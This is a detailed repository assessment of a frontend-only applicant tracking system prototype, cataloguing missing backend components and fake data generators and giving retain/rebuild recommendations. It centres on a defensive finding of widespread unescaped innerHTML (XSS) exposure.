80 KiB
01 — Repository Assessment
Status / Scope of this document
Status: Verified assessment of the repository as it exists on branch main at commit 889d48e
("Initial commit of TalentFlow ATS dashboard"), inspected 2026-07-29 and re-verified 2026-07-30.
Binding for the rest of this package.
Scope. What is in this repository today, what can be kept, what must be replaced, and what does
not exist at all. It is deliberately an audit, not a plan: the target architecture lives in
_decisions.md and the phase plan in the delivery document. Where this assessment reaches a
conclusion it states a RETAIN / REFACTOR / REBUILD verdict and the reasoning (§11).
Sources. Direct file inspection plus the evidence brief at
docs/architecture/_repo-findings.md, which is treated as ground truth. Every claim below carries a
file path and, where useful, a line number. Two things must be said plainly and are repeated
throughout so no reader infers otherwise:
- There is no backend, no database, no authentication, no tests, no build step, no container
definition and no environment file anywhere in this repository (§2.1,
_repo-findings.md§B). The backend is greenfield. Nothing in this document should be read as describing an existing server. - There is no meeting transcript and no recruitment brief in the repository. The only
requirements artefact present is
docs/TalentFlow-ATS-Business-Requirements-v1.0.docx, which this project itself produced. The assignment prompt is the authoritative requirements source (_repo-findings.md§J).
The single most important finding is not architectural, it is a security finding: 34 unescaped
innerHTML assignments and no escaping helper anywhere, in a product whose two Phase 1 data sources
are attacker-supplied CV files and inbound email. It is latent today and P0 the moment real data
flows. It has its own section (§4) and it is the reason the hardening patch is sequenced before the
frontend migration in _decisions.md.
1. What the repository is
A static, browser-only frontend prototype of an ATS, served by a 36-line no-cache Python static
file server (devserver.py) that exists only for local preview. 6,371 lines across
index.html, one stylesheet and 22 JavaScript files. It renders 23 screens of a complete-looking
recruitment product entirely from data it invents in the browser at page load.
| Measure | Value | Evidence |
|---|---|---|
| Total tracked source lines | 6,371 (index.html 287, css/styles.css 1,269, js/*.js ~4,780, devserver.py 36) |
wc -l over the tree |
| JavaScript files | 22, loaded as 22 ordered <script> tags |
ls js/; index.html:264-285 |
| Routes / screens | 23 routes, 23 view functions plus 2 sub-view helpers | js/app.js:7-16; Views.* in js/*.js |
| Network calls of any kind | 0 — no fetch, XMLHttpRequest, axios, WebSocket, EventSource, $.ajax |
repo-wide grep; _repo-findings.md §C |
| External HTTP dependencies | 1 — the Google Fonts stylesheet | index.html:21,23 |
| Persistence | localStorage for the theme string only |
js/app.js:64,193,198 |
| Commits | 1 | git log |
graph LR
subgraph BROWSER["Browser tab — everything happens here"]
DATA["js/data.js<br/>seeded PRNG, 88123<br/>generates the whole dataset in memory"]
DB["window.DB<br/>~40 arrays + helpers"]
ROUTER["js/app.js<br/>hash router, 23 routes"]
VIEWS["20 view modules<br/>functions returning HTML strings"]
UI["js/ui.js primitives<br/>js/charts.js canvas engine"]
DOM["main.innerHTML = view.html"]
LS["localStorage<br/>theme only"]
end
SERVER["devserver.py<br/>static files, no-cache"]
FONTS["fonts.googleapis.com<br/>(only outbound request)"]
SERVER -.->|"serves files"| BROWSER
BROWSER -.->|"stylesheet"| FONTS
DATA --> DB
DB --> VIEWS
ROUTER --> VIEWS
VIEWS --> UI
VIEWS --> DOM
ROUTER --> LS
There is no second box in that diagram, and that is the finding. Every number a recruiter would see
— ATS scores, time-to-hire, pipeline conversion, duplicate flags — is produced by
js/data.js and discarded on reload.
2. The assessment table
The required table follows, split into five blocks purely for readability. The columns are identical throughout: Area | Current State | Evidence/File Path | Risk | Recommendation.
2.1 Project structure, tooling and manifests
| Area | Current State | Evidence/File Path | Risk | Recommendation |
|---|---|---|---|---|
| Directory structure | Flat: index.html, css/, js/ (22 flat files), devserver.py, docs/, .claude/launch.json, .backup-prebrand/. No src/, server/, api/, db/, tests/ |
tree listing; _repo-findings.md §A |
Low today. There is no structure to grow into — the first backend file has nowhere obvious to live | Introduce a two-root layout (api/ for the Django project, web/ for the Vite app) in Phase 0. Do not add backend code into js/ |
| Package manifests | Absent. No package.json, no lockfile, no node_modules/, no requirements.txt, pyproject.toml, Pipfile, composer.json, go.mod, Gemfile, pom.xml, build.gradle |
verified by direct check; _repo-findings.md §B |
No dependency inventory, no pinning, no vulnerability surface to scan — and no incumbent stack to preserve | Greenfield: pyproject.toml + lock for the API, package.json + lock for the web app. Dependency scanning in CI from day one |
| Build step | Absent. No tsconfig.json, vite.config.js, webpack.config.js, Makefile. Files are shipped as authored |
_repo-findings.md §B |
No minification, no typechecking, no module resolution, no tree-shaking, no dead-code detection. Every file is global | Accept the build step the repo deliberately lacks. This is a real cost, stated in _decisions.md, bought back by JSX escaping and TypeScript |
| Module system | None. 22 <script> tags in dependency order; every module attaches to window (DB, UI, Charts, App, Router, Views, plus Candidates, Inbox, CVImport, RBAC, AI, …) |
index.html:264-285; js/data.js:492, js/ui.js:251, js/charts.js:339 |
Load order is an invisible contract. Any file can reach any other. This is the same failure mode the module-boundary rules in _decisions.md exist to prevent |
REBUILD as ES modules under Vite. The import-linter-style boundary discipline planned for the backend has no frontend equivalent today |
| Linting / formatting | Absent. No ESLint, Prettier, stylelint, ruff or mypy config | verified by direct check | Style drift and, more seriously, no mechanical gate available for the rules that matter (react/no-danger, design-token-only CSS) |
Add in Phase 0. _decisions.md makes react/no-danger a CI error and stylelint the token-usage enforcer; both need config that does not exist yet |
| Tests | Absent. Zero test files, no runner, no fixtures, no tests/ |
verified by find; _repo-findings.md §B, §H |
Every change is verified by clicking. With two developers and one reviewer this does not scale past a handful of screens | Entirely additive, so shape it correctly: pytest against real Postgres, Vitest for components, 5 Playwright journeys (_decisions.md). A natural varied workstream for Ahmed |
| CI / CD | Absent. No .github/, no pipeline of any kind. Single commit, no branch protection |
verified by direct check | Nothing prevents an unescaped interpolation, a missing migration or a boundary violation from merging | GitHub Actions with one required pipeline in Phase 0, including the anti-XSS grep gate (§4.5) |
| Docker / deployment | Absent. No Dockerfile, no docker-compose.yml, no IaC. devserver.py is a stdlib static server with caching defeated and logging suppressed |
devserver.py:13-29; .claude/launch.json; _repo-findings.md §B |
There is no reproducible environment. "Works on my machine" is currently the only environment | One image, two entrypoints (web, worker) per _decisions.md. devserver.py stays as the prototype demo runner and is deleted with the prototype |
| Environment / secrets | Absent. No .env, no .env.example, no secret store, no config layer. .gitignore anticipates .env* but nothing exists to leak |
.gitignore:31-34; _repo-findings.md §B |
None today (nothing to leak). Becomes acute at the first integration: Graph credentials and model-provider keys | .env.example in Phase 0; real secrets only in a managed secret store. Never a committed .env |
.gitignore |
Covers macOS, editors, .claude/, .audit.js, .backup-prebrand/, Python, .env*, logs. No Node section |
.gitignore (42 lines) |
node_modules/ and build output would be committed the day the frontend build lands |
Add Node/build sections with the first package.json. Note: the Python section postdates devserver.py and is weak/ambiguous evidence of stack intent — it must not be cited as a decision input (_repo-findings.md §H) |
| Dead weight | .backup-prebrand/ holds a pre-rebrand copy of index.html, css/ (817-line older stylesheet) and js/ |
.backup-prebrand/css/styles.css (817 lines) |
Two stylesheets in the tree invites editing the wrong one; it is gitignored, so it is also invisible to review | Delete once the rebrand is accepted. Version history is what git is for |
| Documentation | One BRD (docs/TalentFlow-ATS-Business-Requirements-v1.0.docx, 26 KB) plus this docs/architecture/ package, which now includes 18 ADRs at docs/architecture/adr/0001–0018: 0001 modular monolith, 0002 primary relational database, 0003 object storage, 0004 background job queue, 0005 email integration, 0006 candidate search, 0007 job and scoring versioning, 0008 duplicate resolution, 0009 permission enforcement, 0010 chatbot controlled query, 0011 AI provider abstraction, 0012 deployment topology, 0013 frontend strangler migration, 0014 Phase 0 XSS/CSP hardening, 0015 module boundary enforcement, 0016 real PostgreSQL in CI, 0017 plain-SQL migrations as schema authority, 0018 backend language and framework. The filenames are the register and 02 §13 is the index; treat that index as authoritative over this row, which is a snapshot. Still absent: no README, no runbook, no API docs, no code comments beyond file headers |
docs/; docs/architecture/adr/; 02 §13 |
The .docx is not diffable or reviewable in a PR. The ADR trail now exists for the decisions listed above, so the bus-factor mitigation _decisions.md names is in place for them; two gaps remain (see risk 8) |
Add a README with a two-command local start — still missing and still the highest-value small addition here. Close the two remaining ADR gaps (risk 8). Keep the BRD as the requirements input it is; if it is ever edited, export a Markdown copy alongside it so requirement changes are reviewable in a diff |
2.2 Backend, data and API layers
| Area | Current State | Evidence/File Path | Risk | Recommendation |
|---|---|---|---|---|
| Backend framework | Absent. No server-side code of any kind. No routes, controllers, services, serializers or middleware | _repo-findings.md §B |
None inherited — and no constraint either. Operating Rule 9 ("do not replace the existing stack") therefore binds only the frontend and design system | Greenfield. _decisions.md selects Python 3.12 / Django 5 / DRF on parsing-ecosystem and team-shape grounds. Nothing in the repository contradicts or supports that; the choice is made from first principles |
| API routes | Absent — zero. Not "stubbed", not "mocked at the network layer": there is no HTTP client in the codebase, so there is no request to intercept | repo-wide grep for fetch(/XMLHttpRequest/axios/$.ajax/WebSocket/EventSource returns nothing |
The frontend has never had a network boundary. There is no client, no error envelope, no retry, no auth header, no loading state (§10) | Design /api/v1/* fresh with an OpenAPI schema, and generate the TypeScript client from it so the contract is written once |
| Database | Absent. No engine, no schema, no connection, no driver | _repo-findings.md §B |
Nothing persists. Close the tab and every action taken in the product is gone | One PostgreSQL 16+ instance, one logical database (_decisions.md). The prototype's dataset becomes, at most, a seed fixture |
| ORM / query builder / driver | Absent. No ORM, no query builder, no database library | _repo-findings.md §B |
— | Free choice, made in _decisions.md. Note the tension flagged in §12: Part 1 selects Django partly for its built-in migrations while Part 2 mandates plain-SQL migrations with the ORM never generating schema |
| Migration tooling | Absent. No migration directory, no runner, no schema file, no seed script | verified by direct check; _repo-findings.md §B |
Everything about schema evolution has to be invented, including the review workflow | Ordered up-only SQL migrations under db/migrations, every one reviewed by Talha (_decisions.md Part 2). A makemigrations --check-equivalent gate in CI so a model change cannot merge without its migration |
| Existing "models" | Plain JS object literals produced by generator loops inside one 512-line IIFE, exposed as ~40 arrays on window.DB. No schema, no types, no validation, no constraints, no relations beyond string ids (jobId, recruiterId) |
js/data.js:492-511 (the DB export); js/data.js:112-127 (candidate literal) |
These are display shapes, not a data model, and they encode exactly the errors the target model must not make (§2.3, §6) | REBUILD. Read js/data.js as a requirements artefact — it tells you which fields recruiters expect on screen — and then discard the structure entirely |
| Candidate / application separation | Absent. One flat candidates array carries jobId, jobTitle, department, stage, status, aiScore, recruiter, recruiterId directly on the person |
js/data.js:112-127 |
One candidate cannot hold two applications. Re-applying overwrites history. Talent pool and cross-brand matching are impossible on this shape | REBUILD as candidate (identity) ↔ job_application (per-requisition), with the score attached to the application. _decisions.md calls this the highest-value structural change in the design |
| Raw intake layer | Absent. The "Recruitment Inbox" array is already resolved: each row carries name, email, phone, position, jobId, atsScore and recruiter at generation time |
js/data.js:284-305; js/inbox.js:11-19 |
There is no representable state for "arrived but cannot become a candidate." A parse failure, an unusable attachment or a rejected submission has nowhere to live | REBUILD as raw_intake → intake_parse_attempt (append-only) → intake_resolution, with rejected_unusable and quarantined as terminal states carrying no candidate |
| Versioning | Absent. Jobs are mutable single records; editing one overwrites it in place via Object.assign |
js/data.js:85-108; js/jobs.js:210-215 |
After an edit there is no way to know what a candidate actually applied against, or what requirements a score was computed from. Unfixable retroactively | REBUILD: immutable job_version / requirement / scoring_config_version rows with current_version_id pointers, and every downstream row pinning the version it used |
| History | Absent. Current values only. A pipeline drag mutates cand.stage and cand.status in place — no actor, no timestamp, no reason, no prior value |
js/pipeline.js:93; js/data.js throughout |
"Who moved this candidate out of Interview, when, and why" is unanswerable by construction. Same for recruiter reassignment and offer status | REBUILD: typed per-entity history tables with valid_from/valid_to intervals, plus the append-only audit log. Cheap to design in, expensive to retrofit — history that was never captured cannot be backfilled |
| Recruiter assignment | A single scalar copied onto the job and then onto the candidate (recruiter name string + recruiterId) |
js/data.js:96, js/data.js:123 |
No primary/supporting distinction, no coordinator, no history, and a denormalised name string that goes stale the moment a person is renamed | REBUILD as an interval-based assignment table (from_ts, to_ts NULL = current) with a partial unique index on the primary role |
| ATS / AI score | aiScore: int(52, 98) — a random integer. No components, no evidence, no model, no version, no reproducibility. A second, different "relevance" number is blended client-side from the random score, a skill ratio and recency |
js/data.js:123 (inside the candidate object literal at js/data.js:117-127; see §12 for the citation correction); js/candidates.js:14-19 |
Two different scores are shown for the same candidate on the same screen, both meaningless. Nothing here is reusable — not the algorithm, not the sub-scores, not the bands | REBUILD entirely: application_score rows that are append-only and pin config version, model version, requisition version and parsed-document version, with per-criterion contributions and evidence references |
subScores on imported candidates |
Fabricated to look explainable: experience: 80, education: 80, location: 100, salary: 90 are literal constants; skills and keywords are both set to the same random atsScore |
js/import.js:164 |
This is the most misleading artefact in the repository — it renders as a score breakdown and is entirely fiction. A stakeholder demo reads it as working explainability | REBUILD. Keep the visual pattern (a component breakdown is the right UX); replace the content with real score_component rows |
| Money | Bare integers. salary: int(90,190)*1000; salaryMax is initialised to 0 and then derived by addition in a second pass. No currency field anywhere in the dataset. Formatting hardcodes $ |
js/data.js:126, js/data.js:99 and js/data.js:105 (salary range), js/data.js:504-505 (DB.money, DB.moneyK); js/offers.js:129 (offer validation is +f.base > 0 only) |
Postings span six jurisdictions. A currency-free number is a compensation error waiting to be made, and float/int arithmetic on money is the classic rounding bug | REBUILD: numeric(14,2) + ISO-4217 code as a bound column pair on every monetary field, conversions stored alongside the pinned FX rate, original never overwritten |
| Dates / timezones | JS Date objects, toLocaleDateString for display, and a hardcoded "today" of 2026-07-09 in at least four places. Interview times are set with setHours in the browser's local zone |
js/data.js:54 (daysAgo), js/data.js:237, js/candidates.js:18, js/candidates.js:433, js/jobboard.js:167 |
Every relative date on every screen ("3 days ago", "due in 5 days") is wrong relative to real time — the prototype is frozen three weeks in the past as of this writing. No UTC discipline, no tz-aware scheduling | REBUILD: timestamptz in UTC everywhere, plus the organiser's wall-clock intent and IANA zone retained for anything scheduled, so a tzdata change is a re-resolution job rather than data loss |
| Enums / reference data | Hardcoded arrays in the generator: departments, business units, locations, employment types, grades, stages, sources, education levels, interview types, meeting types, statuses | js/data.js:20-27, js/data.js:132-135, js/data.js:284-286 |
Vocabularies that the business must control are compiled into the frontend. Adding a department is a code change | REBUILD as reference tables in a ref schema, edited through an admin back-office. This is what lets the Settings UI wait until a later phase |
2.3 Frontend
| Area | Current State | Evidence/File Path | Risk | Recommendation |
|---|---|---|---|---|
| Frontend framework | None. Vanilla ES2019-ish JavaScript, no framework, no build, no types | js/*.js; _repo-findings.md §C |
No component model, no reactivity, no state management. Every screen re-renders by rebuilding an HTML string and assigning it | REFACTOR the rendering layer to Vite + TypeScript + React, screen by screen (_decisions.md). RETAIN the CSS and the chart engine verbatim |
| Rendering model | Views are synchronous functions returning { html, onMount }. The router assigns view.html into main.innerHTML, then calls onMount() to bind events and draw canvases |
js/app.js:26-33; e.g. js/rbac.js:8-34, js/candidates.js |
There is no place in this signature for "loading", "empty because the request failed", or "partially loaded". This is the crux of §10 | REBUILD the rendering layer. The route table and screen inventory survive; the view signature does not |
| Router | 33-line hash router over location.hash, 23 routes, unknown route silently falls back to dashboard. No route params, no query state, no guards, no nested routes, no code splitting |
js/app.js:7-16, js/app.js:20-23, js/app.js:54-57 |
Deep links to a candidate or requisition are impossible — record selection is in-memory only (Candidates.openProfile(id)), so no URL identifies a record. No auth guard hook exists |
REBUILD with a real router: URL-addressable records via public_id, route guards driven by the authorization layer, lazy-loaded route chunks |
| Design system (CSS) | 1,269 lines of tokenised CSS. 159 custom-property declarations (57 in :root, 41 in the dark block), 93 distinct tokens, 470 var(--…) references, 13 breakpoints, 33 dvh/safe-area usages, semantic class names (.card, .dt, .badge). Dual light/dark themes; WCAG 2.1 AA verified across 23 routes × 2 themes |
css/styles.css; theme block at css/styles.css:110; _repo-findings.md §G |
Very low. The real risk is losing it — rebuilding costs weeks and would probably regress accessibility | RETAIN verbatim. Content-freeze it, git mv into the new web app with zero content edits, and enforce token-only new CSS via stylelint |
UI primitives (js/ui.js) |
12 exported primitives: icon (56-icon inline SVG set), avatar, avatarStack, badge (30-entry status→class map), scoreChip, pbar, modal, closeModal, toast, dataTable (client-side sort + paginate + onRender hook), fieldError, clearErrors |
js/ui.js:251 (export); js/ui.js:64,69,82,87,90,95,106,131,152,241 |
A coherent vocabulary matching the CSS — but every one of them builds HTML by interpolation, so every one is an XSS sink (js/ui.js:69,82,87,143,190,193) |
REFACTOR: port one-for-one to typed React components keeping the same class names so the retained CSS keeps matching. This is a well-scoped, independently demonstrable junior workstream |
Chart engine (js/charts.js) |
Dependency-free canvas engine: line, area, bar, grouped bar, doughnut, horizontal bar, sparkline, legend, plus hover tooltips. Reads series colours live from CSS custom properties, so it re-themes automatically | js/charts.js:9 (css() reader), js/charts.js:15-20 (palette + fallback), js/charts.js:339-341 (export with a live PALETTE getter) |
Low. One genuine bug class: canvases are drawn at fixed pixel size, so the app re-renders whole views on resize (js/app.js:216-228, and again at js/app.js:272) |
RETAIN as-is behind one thin <Chart/> wrapper passing a canvas ref. Rewriting it would be pure loss and would add a charting dependency. Fix the duplicated resize handler during the port |
| Information architecture | 23 routes with navigation grouping and a coherent screen inventory, validated as a UX artefact even though the data behind it is fake | js/app.js:7-16; index.html sidebar |
Low | RETAIN as the route table and the screen backlog. _decisions.md maps six of the 23 routes to views over other modules rather than modules of their own |
| Forms and validation | ~116 <input>/<select>/<textarea> sites across 16 files. Validation is ad-hoc per form: a local req() helper in one file, a > 0 check in another, UI.fieldError for display. No schema, no shared validator, no server-side counterpart |
counted by grep (js/candidates.js 26, js/jobs.js 24, js/settings.js 17, js/interviews.js 12, js/offers.js 8, js/assessments.js 7, js/tasks.js 6, …); js/jobs.js:198-202, js/offers.js:129, js/ui.js:241-249 |
The forms this platform still needs — versioned requisitions with weighted requirements, interview scorecards, offer approval chains — are the most complex in the product and do not exist yet. Building them in this pattern is how a two-person team stalls | REBUILD with schema-first validation (Zod on the client, mirrored by serializer validation on the server). Validation must exist on the server regardless: client checks are bypassed by imports, integrations and direct API calls |
| Event handling | 178 inline on*= attributes across 21 files, most interpolating ids: onclick="Candidates.openProfile('${c.id}')". Some handlers are real logic inline in markup: onclick="UI.toast('Permission changes saved','success')" |
counted by grep; js/candidates.js:121; js/rbac.js:18 |
Inline handlers require unsafe-inline in CSP, which is precisely the protection needed against §4. They also make interpolated values executable context, not just text |
REFACTOR now (delegated listeners reading data-*) as part of the Phase 0 patch; REBUILD later as React props |
| Loading / error / empty states | Loading: none. Error: none. Empty states exist and are well done (UI.dataTable renders one, and several views render their own) |
js/ui.js:189-191; js/inbox.js:47,72; grep for spinner/skeleton/catch returns nothing meaningful |
Every screen assumes data is present and correct, synchronously. There is no code path for "the request failed" because there is no request | REBUILD. See §10 — this is the single biggest reason the existing views cannot be wired to an API incrementally |
| Accessibility | Genuinely good: aria-* attributes on interactive chrome, role="dialog"/aria-modal on the modal, 44px touch targets, prefers-color-scheme handling, pinch-zoom deliberately left enabled, safe-area insets |
js/ui.js:110,113; index.html:7-13; css/styles.css (33 dvh/safe-area usages); _repo-findings.md §G |
Low — but focus management is incomplete: the modal does not trap focus or restore it on close, and route changes do not move focus | RETAIN the work and the standard. Add focus trap/restore and route-change focus management during the component port; make the AA verification a CI check rather than a one-off audit |
| Client state | Per-view local closures recreated on every render (state, selected, sortMode), plus mutable global arrays on DB, plus two ad-hoc buckets (DB.recentlyViewed, DB.favorites). Nothing survives a reload |
js/candidates.js:8-11; js/inbox.js:8; js/data.js:488-490 |
Filter state, selection and sort are lost on every navigation. Mutations to DB are lost on refresh, which makes the prototype feel unreliable in demos |
REBUILD: server state in a query cache keyed by endpoint, UI state in the URL where it belongs (filters, sort, page) |
| Theme | Well built: explicit choice persisted in localStorage, otherwise follows the OS and keeps following it until the user picks a side; re-renders on change so canvas charts re-read tokens |
js/app.js:62-80, js/app.js:188-205 |
Low | RETAIN the behaviour and the reasoning. Port it as a small provider; keep the "follow OS until explicit choice" rule, which is a deliberate, correct decision |
| File upload | UI only, and the mechanics are a simulation. There is no <input type="file"> anywhere in the repository. The dropzone's drop handler reads e.dataTransfer.files.length and discards the files, then fabricates a queue of invented names with progress bars driven by setInterval and a random ATS score |
js/import.js:71, js/import.js:77-99, js/import.js:101-114; grep for type="file"/FileReader returns nothing |
Nothing is uploaded, parsed, checksummed, virus-scanned or stored. The screen states "Files are processed locally in this demo" (js/import.js:34), which is honest, but the surrounding UI reads as functional |
RETAIN the UX shape (dropzone, queue, per-file status, duplicate interstitial — it is the right interaction). REBUILD the mechanics: real multipart upload → object storage with sha256 → intake row → parse attempt in the worker |
2.4 Security, identity and authorization
| Area | Current State | Evidence/File Path | Risk | Recommendation |
|---|---|---|---|---|
| Authentication | Absent. No login screen, no session, no token, no user context, no "current user" concept. Opening index.html grants the full application |
repo-wide grep; _repo-findings.md §D |
Total. Anyone who can reach the URL is an administrator, because there are no roles to be outside of | REBUILD. identity is a Phase 0-1 non-negotiable in _decisions.md: real sessions, SSO, and one authorization decision point |
| Security settings UI | Inert chrome. 2FA, SSO, IP allowlist, audit logging render as toggles with no handlers; session timeout, password policy and data retention are <select> elements with no name, no handler and no persistence |
js/settings.js:146-160 |
Actively dangerous as a demo artefact: the screen asserts that 2FA and audit logging are on. A stakeholder reasonably concludes security controls exist | Split per _decisions.md: security/users/roles → identity, vocabularies/templates/branding → config. Until then, do not demo this tab as a capability |
| Role / permission logic | Display-only widget. 8 roles × 13 modules × 8 permission types, matrix generated from a single level cutoff index. Clicking a cell flips a boolean in an in-memory array; nothing reads the matrix to gate behaviour. There is no can(), hasPermission() or equivalent anywhere in the repository. "Save Changes" fires a success toast and saves nothing. A new role is pushed onto an array and lost on reload |
js/rbac.js:78 (cell toggle), js/rbac.js:18 (the lying save button), js/rbac.js:83-88 (toggleAll), js/rbac.js:107-113 (cutoff-derived matrix), js/rbac.js:113 (in-memory push); data at js/data.js:426-446 |
The UI communicates enterprise-grade RBAC while enforcing nothing. It is also a design trap: the flat role × module × permission matrix has no notion of scope (this requisition, this department), which real recruiting authorization requires | REBUILD on a real permission model with scoped role assignments and one enforcement point. The matrix UI is worth rebuilding later — as a view over real Role/Permission rows, not as the source of truth |
| HTML escaping / XSS | No escaping helper exists anywhere. 34 innerHTML assignments across 14 files; every view interpolates data values straight into markup. The only escaping in the entire codebase is one hand-rolled, partial text.replace(/</g,'<') on the chat input — which does not handle &, " or ' |
grep -c innerHTML js/*.js = 34 across 14 files; js/candidates.js:68, js/inbox.js:292, js/ui.js:69,82,87,143, js/app.js:113,122,148; the lone partial escape at js/aiassistant.js:102 |
P0 the moment real data flows. Full section: §4 | Phase 0 hardening patch (escaping helper applied at all 34 sites, delegated events, CSP without unsafe-inline, CI grep gate), then structural elimination via JSX escaping in the migration |
| Content Security Policy | Absent. No CSP meta tag, no security headers. devserver.py sends only cache-control headers |
index.html:1-30; devserver.py:15-18 |
No defence-in-depth behind the escaping gap. An injected <script> or onerror executes unimpeded |
Add a CSP without unsafe-inline for scripts in Phase 0 — which requires removing the 178 inline handlers first, so the two tasks are one task. Add HSTS/X-Content-Type-Options/Referrer-Policy at the real server |
| Audit logging | Absent as a mechanism. There is an activity feed and a notifications array, both generated as display data |
js/data.js (activity, notifications); _repo-findings.md §B |
No record of who changed what. Combined with the missing history tables, the system today can answer neither "what is the current state" durably nor "how did it get there" | REBUILD as an append-only audit log with no update or delete path, carrying actor, actor type (human/system/ai), before/after and request id |
| Third-party / supply chain | Zero JS dependencies — genuinely a strength. One external runtime dependency: the Google Fonts stylesheet | index.html:21,23; no lockfile exists |
Small but real: a third-party origin in the document's style context, an egress dependency, and a CSP entry that would otherwise be unnecessary. Also a privacy consideration for an internal HR tool | Self-host the two font families with the web app. This removes the only external origin, simplifies CSP, and removes a per-page-load third-party request |
| PII handling | 100 candidate records with names, emails, phone numbers, salaries and employment history — all synthetic and generated locally, so nothing sensitive exists yet. No classification, no retention, no erasure path, no encryption concept | js/data.js:112-127; js/data.js:284-305 |
None today. Immediate on first real intake: a Data Retention dropdown that does nothing (js/settings.js:157-158) is not a retention policy |
Classify PII at the column level from the first migration; implement retention as pseudonymisation rather than row deletion, so erasure can coexist with the mandatory history |
2.5 Integrations, AI and operations
| Area | Current State | Evidence/File Path | Risk | Recommendation |
|---|---|---|---|---|
| Email / Outlook integration | No email code of any kind. No SMTP, no IMAP, no Graph SDK, no mail parsing, no templating. The Inbox has an "Email" tab rendering 20 generated messages with fabricated bodies, sender names and attachment filenames; "Preview" on an attachment fires a toast | js/data.js:309-329 (email generator); js/inbox.js:283-300; grep for smtp/imap/graph/nodemailer returns nothing |
The most convincing fake in the product: it looks exactly like a working Outlook integration. It is also where the §4 exposure becomes concrete — ${e.body} is rendered raw at js/inbox.js:292 |
REBUILD as a Graph delta-polling adapter feeding intake.ingest(). Start the Entra ID app registration and dedicated mailbox request early: it is outside the team's control and can block the critical path for weeks |
| Job board integrations | Publish UI over 8 generated platforms; "publish" unshifts a row into an in-memory array with a hardcoded date and zeroed metrics | js/jobboard.js:167; js/data.js (publishPlatforms, publishings) |
Low (a later phase). Note it implies live posting state that does not exist | REBUILD as outbound adapters with per-platform posting state and reconciliation. Publishing has cost implications, so it needs a real approval gate |
| AI / ML code | Absent. No model client, no SDK, no prompt, no embedding, no API key path. aiScore is int(52,98). The AI Assistant is a keyword-matching function returning hand-written HTML strings after an artificial setTimeout delay. "AI Studio" is a gallery of 15 capability cards with hardcoded Beta / Coming Soon badges |
js/data.js:123; js/aiassistant.js:9-90 (canned replies), js/aiassistant.js:113-116 (fake latency); js/data.js:448-465 (15 capabilities) |
Two distinct risks. Technical: nothing is reusable, so all AI work is greenfield. Expectation: 15 capabilities already look nearly shipped, and the assistant is honest only in small print (js/aiassistant.js:13 "This is a UI preview", js/aiassistant.js:127 "Model endpoint · Not connected") |
REBUILD behind one orchestration boundary that is the only holder of a provider client, writes a run ledger row per invocation, checks the human actor's permissions, and can only produce suggestions that a domain service accepts. Make capability status truthful per capability rather than a coming-soon grid |
| Duplicate detection | Simulated. duplicate: Math.random() < 0.18 at upload time; the review modal quotes a fixed "95% similarity on name + email"; "Merge" fires a toast and does nothing |
js/import.js:84, js/import.js:130-152; js/data.js:304 (inbox duplicate flag derived from a status string) |
The reversible-merge requirement — the hard part — is entirely unimplemented, while the UI implies it works | REBUILD: real candidate matching with recorded signals and scores, a suspected/confirmed/rejected review state, and merge as additive re-pointing with a per-operation undo log. Nothing is ever deleted |
| Background / async processing | Absent. No queue, no worker, no scheduler, no retry. The only "async" is setTimeout/setInterval faking progress |
js/import.js:101-114; js/aiassistant.js:113 |
CV parsing and model calls are multi-second and CPU-bound. There is no execution context for them and no job status to poll | REBUILD: a durable queue with transactional enqueue, named queues, explicit retry policy, and a failed terminal state that surfaces in the intake UI rather than a silent drop |
| Search | Client-side Array.filter + String.includes over in-memory arrays, plus a global search that concatenates fields and lowercases |
js/app.js:130-150; js/candidates.js:22-40; js/inbox.js:18 |
Fine at 100 rows, useless at 50,000. No relevance, no fuzzy matching, no accent folding, no pagination of results | REBUILD as Postgres full-text search plus trigram similarity over a maintained index table — the same index type that duplicate detection needs. No search cluster in Phase 1 |
| Observability | Absent. No logging, no metrics, no tracing, no error reporting, no request ids. devserver.py explicitly suppresses its own access log |
devserver.py:27-28; grep for console.error/Sentry/window.onerror returns nothing |
A frontend exception today produces a blank region and no signal. In production, an intake failure would be invisible | Structured logs with request-id propagation, error reporting on both tiers, and alerting on the intake queue specifically — a stuck parse queue must page someone |
| Rate limiting / abuse | Absent (and not meaningful without a server). No throttling concept anywhere | — | The career portal and any candidate-facing upload endpoint will be publicly reachable | Per-user and per-IP limits at the API layer; size and type limits plus virus scanning on every uploaded file before parsing |
3. Reusable components
Four assets justify their retention. Everything else in the repository is either scaffolding for a demo or a shape that the target data model must not copy.
| Asset | What is worth keeping | Evidence | Retention mechanism |
|---|---|---|---|
css/styles.css |
1,269 lines of tokenised CSS: 93 distinct tokens, dual light/dark themes, 320px→ultrawide across 13 breakpoints, WCAG 2.1 AA verified across 23 routes × 2 themes, 44px touch targets, dvh/safe-area handling, Utopia brand palette and type hierarchy. Uses semantic class names, so it ports unchanged into any component framework |
css/styles.css; _repo-findings.md §G |
git mv with zero content edits; content-freeze; stylelint rule permitting only existing var(--…) tokens in new CSS |
js/charts.js |
347-line dependency-free canvas engine, seven chart types plus legend and tooltips, reading series colours live from CSS custom properties so it re-themes automatically | js/charts.js:9, js/charts.js:339-341 |
Retained as-is behind one thin <Chart/> wrapper passing a canvas ref |
js/ui.js primitives |
A coherent 12-primitive component vocabulary already matched to the CSS: icon (56 inline SVGs), avatar, avatarStack, badge (30-entry status map), scoreChip, pbar, modal, toast, dataTable, fieldError, clearErrors |
js/ui.js:251 |
Ported one-for-one to typed components keeping the same class names, so the retained CSS keeps matching. Sort/paginate move server-side |
| 23-route information architecture | Module breakdown, navigation grouping and screen inventory — a validated UX artefact independent of the fake data behind it | js/app.js:7-16 |
Becomes the route table and the screen backlog |
Two further items are worth keeping as inputs, not as code: js/data.js documents the fields
recruiters expect on each screen (read it as a display-requirements list, then discard the
structure), and the import screen's interaction design — dropzone, per-file queue, live status,
duplicate interstitial before commit — is the right UX for real intake even though every mechanic
behind it is simulated (js/import.js:22-45, js/import.js:130-152).
4. P0 — Systemic XSS exposure
This is the most serious finding in the repository. It is given its own section because it is the one issue with a deadline that is not under the team's control: it becomes exploitable the moment someone points the prototype at a real mailbox or a real CV, which is exactly what a stakeholder demo tempts people to do.
4.1 The finding
| Fact | Evidence |
|---|---|
No HTML escaping exists anywhere. grep for escapeHtml, sanitiz, DOMPurify returns nothing |
repo-wide grep; _repo-findings.md §E |
34 innerHTML assignments across 14 files. Every view builds markup by template-string interpolation of data values |
grep -c innerHTML js/*.js: inbox.js 8, app.js 4, aiassistant.js 4, ui.js 4, pipeline.js 3, rbac.js 2, tasks.js 2, plus 1 each in analytics.js, candidates.js, charts.js, import.js, interviews.js, misc.js, recruiterhub.js |
